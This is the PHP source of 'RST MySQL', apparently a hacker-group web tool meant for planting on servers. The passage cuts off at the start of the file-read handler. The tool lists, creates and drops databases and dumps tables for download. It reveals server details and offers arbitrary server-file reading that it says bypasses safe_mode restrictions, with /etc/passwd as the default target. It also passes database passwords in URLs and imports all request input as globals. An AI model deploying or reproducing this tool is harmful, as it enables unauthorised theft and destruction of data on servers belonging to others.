<?php
// TODO :: multi_query, dump, encoding, load_file
error_reporting(E_ALL ^ E_NOTICE);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@set_magic_quotes_runtime(0); //избавиться от слешей при получении данных из файла
$self=$_SERVER['PHP_SELF'];

$global_header = "<td valign = \"top\" width = \"3%\">&nbsp;<font face=Webdings size=4>@</font>&nbsp;</td><td><b>RST MySQL&nbsp;</b>(v2.01)</td>";
//Если php добавил слеши, избавиться от них.Слеши будут удалены как из глобальных 
//массивов, так и из всех переменных, которые образуются при register_globals=on


//if (get_magic_quotes_gpc()) strips($_GET);
//if (get_magic_quotes_gpc()) strips($_POST);
//if (get_magic_quotes_gpc()) strips($_GET);



if(!ini_get("register_globals")) { 
	import_request_variables("GPC"); 
}

strips($GLOBALS);

function strips(&$el) { 
  if (is_array($el)) { 
    foreach($el as $k=>$v) { 
      if($k!='GLOBALS' && !strstr($k,"_ENV") && !strstr($k,"_SERVER")) { 
        strips($el[$k]); 
      } 
    } 
  } else { 
    $el = stripslashes($el); 
  } 
}

$file = array_key_exists('TEMP',$_ENV)?($_ENV['TEMP']):null;
$SystemRoot = array_key_exists('SystemRoot',$_ENV)?$_ENV['SystemRoot']:'C:\\WINDOWS\\';

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
	if(!$file)
		$file = "C:\\WINDOWS\\TEMP\\";
	$file .= "\\dump_".$db.".sql";

    $p_v=$SystemRoot."\\system.ini";
    $os="win";
} else {
	if(!$file)
		$file = "/tmp/"; 
	$file .= "\\dump_".$db.".sql";
		
    $p_v="/etc/passwd";
	
}
if ($_GET['send']=='send_http') {
function download($file, $type = false, $name = false, $down = false) { 
if(!file_exists($file)) exit; 
if(!$name) $name = basename($file); 
if($down) $type = "application/force-download"; 
else if(!$type) $type = "application/download"; 
$disp = $down ? "attachment" : "inline";
header("Content-disposition: ".$disp."; filename=".$name); 
header("Content-length: ".filesize($file)); 
header("Content-type: ".$type); 
header("Connection: close"); 
header("Expires: 0");
set_time_limit(0); 
readfile($file); 
unlink($file);
exit; 
} 
if ($_GET['strukt']=='d_strukt_bd' && $_GET['dump']=='bd'){
   $host = $_SERVER["SERVER_NAME"];
   $ip = $_SERVER["SERVER_ADDR"];
   $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
   mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
   if (sizeof($tabs) == 0) { 
      // получаем список таблиц базы 
      $res = mysql_query("SHOW TABLES FROM $db", $connection); 
      if (mysql_num_rows($res) > 0) { 
         while ($row = mysql_fetch_row($res)) { 
            $tabs[] .= $row[0]; 
         } 
      } 
   } 
       // открываем файл для записи дампа 
   $fp = fopen($file, "w"); 
   fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
   date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n"); 
   foreach($tabs as $tab) {       
      if ($add_drop) { 
         fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
      }        
      // получаем текст запроса создания структуры таблицы 
      $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error()); 
      $row = mysql_fetch_row($res); 
      fputs($fp, $row[1].";\n\n"); 
       
      // получаем данные таблицы 
      $res = mysql_query("SELECT * FROM `$tab`", $connection); 
      if (mysql_num_rows($res) > 0) { 
         while ($row = mysql_fetch_assoc($res)) { 
            $keys = implode("`, `", array_keys($row)); 
            $values = array_values($row); 
            foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
            $values = implode("', '", $values); 
            $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; 
            fputs($fp, $sql); 
         } 
      } 
      fputs ($fp, "#---------------------------------------------------------------------------------\n\n"); 
   } 
   fclose($fp);
}
if ($_GET['strukt']=='d_strukt'){
   $host = $_SERVER["SERVER_NAME"];
   $ip = $_SERVER["SERVER_ADDR"];
   $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
   mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
   $fp = fopen($file, "w"); 
   fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
   date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); 
      // получаем текст запроса создания структуры таблицы 
      $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); 
      $row = mysql_fetch_row($res); 
      fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
      fputs($fp, $row[1].";\n\n");        
      // получаем данные таблицы 
      $res = mysql_query("SELECT * FROM `$tbl`", $connection); 
      if (mysql_num_rows($res) > 0) { 
         while ($row = mysql_fetch_assoc($res)) { 
            $keys = implode("`, `", array_keys($row)); 
            $values = array_values($row); 
            foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
            $values = implode("', '", $values); 
            $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; 
            fputs($fp, $sql); 
         } 
      }
 
   fclose($fp); 
}
if ($_GET['strukt']=='t_strukt'){
   $host = $_SERVER["SERVER_NAME"];
   $ip = $_SERVER["SERVER_ADDR"];
   $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
   mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
   $fp = fopen($file, "w"); 
   fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
   date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); 
      $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); 
      $row = mysql_fetch_row($res); 
      fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
      fputs($fp, $row[1].";\n\n");   
   fclose($fp);
}
if ($_GET['strukt']=='d'){
   $host = $_SERVER["SERVER_NAME"];
   $ip = $_SERVER["SERVER_ADDR"];
   $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
   mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
   $fp = fopen($file, "w"); 
      $res = mysql_query("SELECT * FROM `$tbl`", $connection); 
      if (mysql_num_rows($res) > 0) { 
         while ($row = mysql_fetch_assoc($res)) { 
            $keys = implode("`, `", array_keys($row)); 
            $values = array_values($row); 
            foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
            $values = implode("', '", $values); 
            $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; 
            fputs($fp, $sql); 
         } 
      } 
   fclose($fp); 
}
download($f_dump);
}
function send_header() {
   header("Content-type: image/gif");
   header("Cache-control: public");
   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
   header("Cache-control: max-age=".(60*60*24*7));
   header("Last-Modified: ".date("r",filemtime(__FILE__)));
}
if ($_GET['img']=='st_form_bg') {
   $st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs=';
   send_header();
   echo base64_decode($st_form_bg);
}
if ($_GET['img']=='bg_f') {
$bg_f='R0lGODlhAQARAMQAANXW1+7w8uvt79TV18jJye3w8+zu8Ofp7MfIydzd3+fo687P0Nvc3eHi5eP'.
      'k5sPDw87OzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BA'.
      'AAAAAALAAAAAABABEAAAUP4IMsQOIcRlAISsMMEBECADs=';
   send_header();
   echo base64_decode($bg_f);
}
if ($_GET['img']=='b_close') {
$b_close='R0lGODlhdwAUAOYAANWEhdJYWNiwsc0PD9aTk88sLNA7O9rNztehotR1dk0AANQnJ4IAANc1Ndg9PWYAAL4'.
         'AAM8PD6AAANg8POiLi8yEhb0sLIYAAGIAAMRYWOeGhtc5Oc8NDeR3d1gAANuEhU4AAKcAANJbW9Z1dt1XV8'.
         'IAAONzc8QAAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK'.
         'c4MDNROT0UAAKwAANtJSdQqKtAUFOqYmMwCAuR2dtuiou2jo95bW8l1dtc3N+ucnI4AAJMAAHoAAD4AANWK'.
         'i+yfn5IAAOuZmdaVls4KCtlAQJQAAEAAANtMTOFra3EAAJEAALgAAOFpaWcAAOeFhXAAAN9dXeqVlTcAANg'.
         '6Ol4AANNnZ9m/wLUAANEbG9tKSoQAAOiOjuaCglYAAOJsbDQAANvc3cwAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
         'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAB3ABQAAAf/gFFFKk9ha4eIiYqLjI2Oj5CRk'.
         'pOJGiY4GxwUQUkoFGygoaKjpKWmp6ipqqusokNGSBwzHV4UGh1uubq7vL2+v8DBwsPExbtgYy5nSjJYK1wk'.
         'adLT1NXW19jZ2tvc1h8tRB/d2BsxW0tZPldpVD9o7/Dx8vP09fb3+PnxO3D9cCP66k05UwWGBwcTGiyIEKe'.
         'hw4cQI0qcSLGixYsOB8A5UKYAxooQJDB4oAChQoYNBfgzEIeAvwQNzcg0w3KASzhmBrQ0A2CjTgJm4pShac'.
         'BMmThmCAg1OnQmgaEsIwLteeDnyzg9AwCA2fCmgAFFZ8pUGkdAzoYhR5ZMuLChgQMA/xDgjAP3ZhwD/Q7MV'.
         'UlAJYI4/QjohdkPKZwBPcvgRVCgXxmg/Yyq9Bgx8GC6AOz66/dXLgK+QyNDFgrnL1qRJE22bTggQBk4AOK0'.
         '7gmHdAKNAPAKCBAAZ2MBcXoD+A249uTXCfTCYUm8OIDhD4kLl621n8acGuE0n1s8ZW0z2h2mTc0WJWmfrzf'.
         'OvWmdtj8Er2P3ThCfeGGXB5Q3jC97c22H/M2Xnl5mTGdYAnAcBVhQ1zWUWGkPjbfWSRC95gQcwE0HXnXPJf'.
         'hQVi0tl1V8DYK3HHcgTqfXh3AEEKIIGAYHm4E4gYicjLGdF554qE24WoIBqCQFhgHodVQ/AKhUxv9rHJUhQ'.
         'FEJvhYUeJAhIFdsjvVGFng69SSAS0E5BN6SOPW2m5HZBRllaWXo5VFiDfUGYYQ9qsYQXv585V8BeAbWkFz+'.
         'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'.
         'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'.
         'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'.
         'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU20LPPMNNdsc8qBAAA7';
   send_header();
   echo base64_decode($b_close);
} 
$n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");');
$h_error="<br><table align=center width=500 height=70 bgcolor=red><b>Ошибка в запросе:</b><tr><td align=center><br><h5>";
$f_error="</h5></td></tr></table>
<CENTER><FORM><INPUT type=\"button\" value=\"   << Назад    \" onClick=\"history.go(-1)\"><BR>
</FORM></CENTER>
</td></tr></table></td></tr></table>
<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#000000>
<tr><td>
      <table background=".$self."?img=bg_f align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2>
         <tr>
            <td align=center>
                &copy;RusH Security Team (coded by dinggo, Modified by AOH)<br />
            </td>
         </tr>
      </table> 
</td></tr>
</table>
</td></tr></table>";

 print "
 	

  <!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">
  <html><HEAD><TITLE>RST MySQL</TITLE>

  <META http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">
  <META HTTP-EQUIV=\"CACHE-CONTROL\" CONTENT=\"NO-CACHE\">
   <style type = \"text/css\">
   td {  
   font-family: verdana, arial, ms sans serif, sans-serif;  
   font-size: 11px;  
   color: #000000; 
   }
   BODY {
   margin-top: 4px; 
   margin-right: 4px; 
   margin-bottom: 4px; 
   margin-left: 4px;
   scrollbar-face-color: #b6b5b5;
   scrollbar-highlight-color: #758393; 
   scrollbar-3dlight-color: #000000; 
   scrollbar-darkshadow-color: #101842; 
   scrollbar-shadow-color: #ffffff; 
   scrollbar-arrow-color: #000000;
   scrollbar-track-color: #ffffff; 
   }
   A:link {COLOR:blue; TEXT-DECORATION: none}
   A:visited { COLOR:blue; TEXT-DECORATION: none}
   A:active {COLOR:blue; TEXT-DECORATION: none}
   A:hover {color:red;TEXT-DECORATION: none}
   input, textarea, select {
   background-color: #EBEAEA;
   border-style: solid;
   border-width: 1px;
   font-family: verdana, arial, sans-serif;
   font-size: 11px;
   color: #333333;
   padding: 0px;
   }
   li {
   margin-left:16px;
   }
  </style></HEAD><BODY>";


if ($sapi_type == "cgi") {
    $php_type="CGI";
} else {
    $php_type="модуль";
}

$form_file="
        <table width=80% align=center border=0>
        <tr><td align=center>Чтение&nbsp;произвольного&nbsp;файла,&nbsp;сервера&nbsp;(&nbsp;<b>$server</b>&nbsp;)</td></tr>
        <tr><td>
        <table cellpadding=5 cellspacing=1 bgcolor=#FFFFFF border=0>
        <tr bgcolor=#DBDCDD><td align=center>
        При условии, что файл доступен для <b>чтения</b> и при
        наличии у пользователя привилегии <b>FILE</b>, <b>SELECT</b>,
        <b>CREATE</b>, правильном пути и имени - возможно чтение произвольного файла.
        Обход ограничений при <b>safe_mode</b> и <b>safe_basedir</b>
        </td></tr></table></td></tr>
        <form method=\"get\" action=\"$self?f=x_file\">
        <input type=\"hidden\" name=\"s\" value=\"$s\">                
        <input type=\"hidden\" name=\"server\" value=\"$server\">
        <input type=\"hidden\" name=\"port\" value=\"$port\">
        <input type=\"hidden\" name=\"login\" value=\"$login\">
        <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
        <tr><td align=center><br>Полный путь к файлу: <input type=\"text\" name=\"p_file\" value=\"$p_v\" size=\"40\">&nbsp;&nbsp;&nbsp;&nbsp;
        <input type=\"submit\" value=\"показать файл\">&nbsp;&nbsp;&nbsp;&nbsp;</td></tr></table><br>";

$start_form="<br>
<table align=center border=0 width=100% cellpadding=2 cellspacing=0 bgcolor=#FFFFFF>
 <tr>
   <td>
<table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#000000>
<tr><td>
      <table background=".$self."?img=bg_f border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2>
         <tr>
            ".$global_header."
            <td width=33% align=right>
                ".date ("j-F-Y g:i")."&nbsp;&nbsp;
            </td>
         </tr>
      </table> 
</td></tr>
</table>

</td></tr>
<tr><td>

<table align=center border=0 width=80% cellpadding=2 cellspacing=0 bgcolor=#FFFFFF>
 <tr>
   <td bgcolor=#DBDCDD valign=top width=200><br>
        <center><b>Утилита для работы с MySQL</b></center><hr width=98%>
        <li>Просмотр баз и таблиц.</li>
        <li>Произвольные запросы к БД.</li>
        <li>Редактирование баз и таблиц.</li>
        <li>Дампы БД или таблиц.</li>
		<hr width=98%>
        Type - FREE<br>
        Home page: <a href=http://rst.void.ru><b>http://rst.void.ru</b></a><br />
		Mod by: <a href='http://artofhack.kz'><b>http://artofhack.kz</b></a>
   </td>
   <td background=".$self."?img=st_form_bg bgcolor=#E6E7E9><center><font size=2>
        <br>Для соединения с сервером MySQL введите <b>ИМЯ</b>, <b>ПАРОЛЬ</b> (пользователя MySQL) и имя <b>ХОСТА</b>.</font></center><br>
        <li>Если логин юзера mysql не указан явно, по умолчанию подставляется имя владельца процесса.</li>
        <li>Если пароль юзера mysql не указан явно, по умолчанию подставляется пустой пароль.</li>
        <li>Если имя севрвера mysql не указано явно, по умолчанию подставляется <b>localhost</b></li>
        <li>Если порт для севрвера mysql не указан явно, подставляется  порт по умолчанию, обычно (<b>3306</b>)<br><br></li>
        <center>Версия PHP (<b>".phpversion()."</b>)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ID PHP script (<b>".get_current_user( )."</b>)</center>
        <br><table align=center>
        <tr><td>имя юзера MySQL</td><td align=right>пароль юзера MySQL&nbsp;</td></tr>
        <form method=\"get\" action=\"$self\">
        <input type=\"hidden\" name=\"s\" value=\"y\">
        <tr>
          <td><input type=\"text\" name=\"login\" value=\"root\" maxlength=\"64\"></td>
          <td align=right><input type=\"text\" name=\"passwd\" value=\"$passwd\" maxlength=\"64\"></td>
        </tr>
        <tr><td>Сервер MySQL</td><td>порт</td></tr>
        <tr>                
          <td><input type=\"text\" name=\"server\" value=\"localhost\" maxlength=\"64\"></td>
          <td><input type=\"text\" name=\"port\" value=\"3306\" maxlength=\"6\" size=\"3\">
          <input type=\"submit\" value=\"подключиться\"></td>
        </tr></table><br>        
   </td>
 </tr>
</table>

</td></tr>
<tr><td>
<table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#000000>
<tr><td>
      <table background=".$self."?img=bg_f align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2>
         <tr>
            <td align=center>
                &copy;RusH Security Team (coded by dinggo, Modified by AOH)<br />
            </td>
         </tr>
      </table> 
</td></tr>
</table>
</td></tr></table>
";

if ($os =='win') {
$os="OS - <b>".$_ENV["OS"]."</b>";
}else{
   $str_k=$_ENV["BOOT_FILE"];
   $k=preg_replace ("/[a-zA-Z\/]/","", $str_k);
   $os="OS\Kernel: <b>".$_ENV["BOOT_IMAGE"].$k."</b>";

}

if (!isset($s) || $_GET['s'] != 'y') { print $start_form;
 $serv = array(127,192,172,10);
 $adrr=@explode('.', $_SERVER["SERVER_ADDR"]);
 //if (!in_array($adrr[0], $serv)) {
   //при появлении новой версии утилиты покажем что доступна
   //новая версия и предложим загрузить ее с сайта
   //@print "<img src=\"http://rst.void.ru/version_sql/version.php\" border=0 height=0>";
   //@readfile ("http://rst.void.ru/version_sql/version.php");  
 //}
exit;
}

if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){
 $connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header<table align=center width=80% bgcolor=red><tr><br>Ошибка соединения с MySQL сервером <b>$server</b><td><center><font size=2><b>".mysql_error()."</b></font></center><br><b>Вероятные ошибки:</b><li>Не правильный адрес сервера <b>$server</b><li>Не правильный номер порта <b>$port</b><li>Не верное имя (login) юзера mysql <b>$login</b><li>Не верный пароль (password) юзера mysql <b>$passwd</b><li>Доступ к серверу $server запрещен с адреса <b>".getenv('REMOTE_ADDR')."</b><li>Удаленный сервер временно не доступен</td></tr></table><br></td></tr></table><script>alert('Не возможно установить соединение с MySQL сервером $server \\n\\n Проверьте правильность входящих данных:\\n\\nсервер $server\\nпорт $port\\nимя $login\\nпароль $passwd');</script><head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self'></head>");
$mysql_version = mysql_get_server_info($connection);
}

$form_ad_b="<br>
<table width=80% align=center border=0 cellpadding=0 cellspacing=1 bgcolor=#FFFFFF> 
 <tr>
   <td>
   <table width=100% align=center border=0 cellpadding=4 cellspacing=0 bgcolor=#DBDCDD> 
    <td>
      MySQL: <b>$server</b><br />
	  Ver: <b>$mysql_version</b>
   </td>
   <td align=center>
      <b>".$_SERVER["SERVER_SOFTWARE"]."</b>
   </td>
   <td align=right>
      Версия PHP (<b>".phpversion()."</b>) $php_type
   </td>
 </tr>
 <tr bgcolor=#DBDCDD>
   <td>
      IP:<b>".$_SERVER["SERVER_ADDR"]."</b> Name:<b>".$_SERVER["SERVER_NAME"]."</b>
   </td>
   <td align=center>
      ID PHP script (<b>".get_current_user( )."</b>)
   </td>
   <td align=right>
    $os
   </td>
 </tr>
 </table>
</td></tr></table>
<table width=80% align=center border=0 cellpadding=5 cellspacing=1> 
 <tr>
   <td>
        <a href=\"$self?s=$s&stat=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Статистика MySQL</b></a>
   </td>
   <td align=center>
        <a href=\"$self?s=$s&php=ok&_login=$login&_passwd=$passwd&_server=$server&_port=$port\" target=\"_blank\"><b>Информация PHP (ALL)</b></a>
   </td>
   <td align=right>
        <a href=\"$self?s=$s&proc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Процессы MySQL </b></a>
   </td>
 </tr>
 <tr>
   <td>
        <a href=\"$self?s=$s&apc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Переменные Apache </b></a>
   </td>
   <td align=center>
        <a href=\"$self?s=$s&var=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Переменные MySQL </b></a> 
   </td>
   <td align=right>
        <a href=\"$self?s=$s&f=x_file&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Просмотр произвольного файла сервера даже при включеном safe_mode и safe_mode_exec_dir\"><b>Файл *?</b></a>
   </td>
 </tr>
</table><br>

<table width=300 align=center cellpadding=0 cellspacing=1 bgcolor=#FFFFFF>
<tr bgcolor=#DBDCDD><td>
<table align=center cellpadding=0 cellspacing=0>
 <tr bgcolor=#DBDCDD>
   <td> <table cellpadding=4><tr><td><b>Создать новую базу данных</b></td></tr><tr><td>
        <form method=\"get\" action=\"$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port\">
        <input type=\"hidden\" name=\"s\" value=\"$s\">
        <input type=\"hidden\" name=\"server\" value=\"$server\">
        <input type=\"hidden\" name=\"port\" value=\"$port\">
        <input type=\"hidden\" name=\"login\" value=\"$login\">
        <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
        <input type=\"text\" name=\"new_db\" value=\"\" maxlength=\"64\">
        <input type=\"submit\" value=\"создать\"></form></td>
        </tr></table>
   </td>
 </tr>
</table>
</td>    
</tr></table>

<table width=80% align=center border=0 cellpadding=0>
 <tr align=right>
   <td width=85%></td>
   <td width=15>
    <a href=$self><img src=".$self."?img=b_close border=0 title=close></a>
  </td>
 </tr>
</table>
";
//$cnt_b=mysql_num_rows(mysql_list_dbs());  // кол-во баз mysql сервера  
print "
<table align=center border=0 width=100% cellpadding=1 cellspacing=0 bgcolor=#FFFFFF>
 <tr>
   <td>
<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#000000>
<tr><td>
      <table background=".$self."?img=bg_f border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2>
         <tr>
			".$global_header."
            <td width=33% align=center>
                <font color=blue><b>$server</b></font><b>&nbsp;[CONNECTION OK]</b>
            </td>
            <td width=33% align=right>
                ".date ("j-F-Y g:i")."&nbsp;&nbsp;
            </td>
         </tr>
      </table> 
</td></tr>
</table>

</td></tr>
<tr><td>

<table background=".$self."?img=send_img align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF>
 <tr>
   <td bgcolor=#DBDCDD valign=top width=170>";

/*---------------------- L E F T   B L O C K (menu bd)! -------------------*/
/*Показать все базы сервера*/
if ($connection&&!isset($db)) {
   print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#FFFFFF><tr><td bgcolor=#B6B5B5 align=center>".
           "<a href=\"$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Вернуться в начало и обновить список баз\"><font color=green><b>".
           "Показать&nbsp;все&nbsp;базы</b></font></a></td></tr></table>";
   
   $result = mysql_list_dbs($connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
   while ( $row=mysql_fetch_row($result) ){
       $cnt_title=mysql_num_rows(mysql_list_tables($row[0])); //кол-во таблиц базы   
       print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF><tr><td bgcolor=#DBDCDD>";
       if ($cnt_title < 1) {
         print "<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$row[0]&cr_tbl=new&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Всего таблиц $cnt_title\"><b>$row[0]</b></a>";
       }else{
         print "<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$row[0]&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Всего таблиц $cnt_title\"><b>$row[0]</b></a>";
       }
       print "</td></tr></table>";
    }
}

// список таблиц базы данных
if (isset($db)){          
  $result=mysql_list_tables($db) or die ("$h_error<b>".mysql_error()."</b>$f_error<head><META HTTP-EQUIV='Refresh' CONTENT='5;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>");
   print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#FFFFFF><tr><td bgcolor=#B6B5B5 align=center>".
           "<a href=\"$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port\"><font color=green><b>".
           "Показать&nbsp;все&nbsp;базы</b></font></a></td></tr><tr><td></td></tr><tr><td></td></tr></table>";

  print "<table cellpadding=0 cellspacing=1 width=100% bgcolor=#FFFFFF><tr><td bgcolor=silver align=center>".
        "---[ <a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db\" title=\"обновить список таблиц\"><b>$db</b></a>".
        " ]---</td></tr><tr><td></td></tr><tr><td></td></tr></table>";

  while ( $row=mysql_fetch_array($result) ){
    //получаем количество строк(записей) в таблице
    $count=mysql_query ("SELECT COUNT(*) FROM `$row[0]`");
    $count_row= mysql_fetch_array($count);
    print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF>".
          "<tr><td bgcolor=#DBDCDD>";
    if ($count_row[0] < 1) { 
       print "<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&nn_row=ok\">$row[0]</a>&nbsp;($count_row[0])</td></tr></table>";  
    }else{
        print "<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&limit_start=0&limit_count=5\">$row[0]</a>&nbsp;($count_row[0])</td></tr></table>";  
    }
    @mysql_free_result($count);
  }
} 

/*---------------------- END L E F T   B L O C K (menu bd)! -------------------*/

print "
   </td>
   <td valign=top bgcolor=#E6E7E9>";

/*------------------------ R I G H T   B L O C K ! -----------------------*/
if ($connection&&!isset($db)) { 
$anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection); 
if (mysql_num_rows($anon)>0) { print "<table align=center><tr><td><b>Внимание!<b></td></tr><tr><td bgcolor=red>Анонимным пользователям разрешено подключение к серверу MySQL</td></tr></table>"; }
print $form_ad_b; 
}
/*-------------Процессы MySql------------*/
if (isset($proc) && $proc=="TRUE"){
$result = mysql_query("SHOW PROCESSLIST", $connection); 
 print "<center><font size=2>Процессы MySQL сервера [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#FFFFFF><tr align=center bgcolor=#B6B5B5><td>ID</td><td>USER</td><td>HOST</td><td>DB</td><td>COMMAND</td><td>TIME</td><td>STATE</td><td>INFO</td></tr>";
 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
   print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td><td>$row[2]</td><td>$row[3]</td><td>$row[4]</td><td>$row[5]</td><td>$row[6]</td><td>$row[7]</td></tr>";  
 } 
  print "</table><br>";
 mysql_free_result($result);
 unset($proc);
}

if(!function_exists('mysql_create_db')) {
	function mysql_create_db($database_name, $link_identifier = null) {
	
		$sql = "CREATE DATABASE `{$database_name}`";
		if (mysql_query($sql)) {
			return true;
		}
		return false;
	}
}

if(!function_exists('mysql_drop_db')) {
	function mysql_drop_db($database_name, $link_identifier = null) {
	
		$sql = "DROP DATABASE `{$database_name}`";
		if (mysql_query($sql)) {
			return true;
		}
		return false;
	}
}

/*Создаем новую базу*/
if (isset($_GET['new_db'])){
    $new_db=trim($_GET['new_db']);
    if (mysql_create_db($new_db)) {
        print ("<center><font size=2>База <b>$new_db</b> успешно создана&nbsp;...</font></center><br>");
        print "<head><META HTTP-EQUIV='Refresh' CONTENT='1;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
    } else {
        die ("$h_error".mysql_error()."$f_error <head><META HTTP-EQUIV='Refresh' CONTENT='2;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>");
    }
    unset($new_db);
}

/*Удаление базы*/
if (isset($_GET['drop'])){
     $result_d = mysql_list_dbs($connection) or die("<td bgcolor=#DAD9D9>$h_error".mysql_error()."$f_error</td></tr></table>");
     while ( $row_d=mysql_fetch_row($result_d) ){
        if ($drop==$row_d[0]) $dr="TRUE";
     }
 if ($dr=="TRUE") { 
 mysql_drop_db($drop,$connection);
 print ("<center><font size=2>База <b>$drop</b> успешно удалена...</font></center><br>");
 print "<head><META HTTP-EQUIV='Refresh' CONTENT='1;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
 }
unset($drop);
}

/*-------------Читаем произвольный файл сервера-----------*/
if (isset($f)){
	print $form_file;
}
if(isset($p_file)){ 
